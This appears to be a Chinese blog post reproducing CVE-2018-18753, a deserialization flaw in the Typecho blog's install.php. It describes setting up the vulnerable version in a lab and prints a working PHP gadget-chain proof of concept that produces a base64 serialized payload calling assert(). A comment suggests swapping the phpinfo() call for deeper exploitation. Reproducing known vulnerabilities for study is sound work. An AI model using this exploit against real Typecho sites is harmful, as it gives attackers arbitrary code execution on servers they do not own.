CVE-2018-18753 Typecho 漏洞复现分析

最新推荐文章于 2023-12-27 20:19:08 发布

OceanSJ

最新推荐文章于 2023-12-27 20:19:08 发布

阅读量452

点赞数 1

文章标签： php 安全

本文链接：https://blog.csdn.net/OceanSJ/article/details/129070891

版权

漏洞 CVE-2018-18753

Typecho是一款开源博客程序，曾前台install.php中存在反序列化漏洞。可以被注入反序列化字符而实现PHP的任意代码执行。

影响版本：Typecho1.0-14.10.10

一、漏洞环境

1、Typecho版本下载

https://github.com/typecho/typecho/releases/tag/v1.0-14.10.10-release

2、创建一个数据库typecho（其他创库方法也可以）

3、下载好的Typecho在PHPstudy运行

4、点击下一步后其他配置默认，剩下的自行填空完成安装

若没有创建数据库typecho，此步骤会安装失败。

二、漏洞复现步骤

1、在网上找一个poc代码，运行获得生成值

代码如下：

<?php
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'link' => '1',
            'date' => 1508895132,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();
    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';    //替换phpinfo()这里进行深度利用
        $this->_filter[0] = 'assert';
    }
}

$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));
?>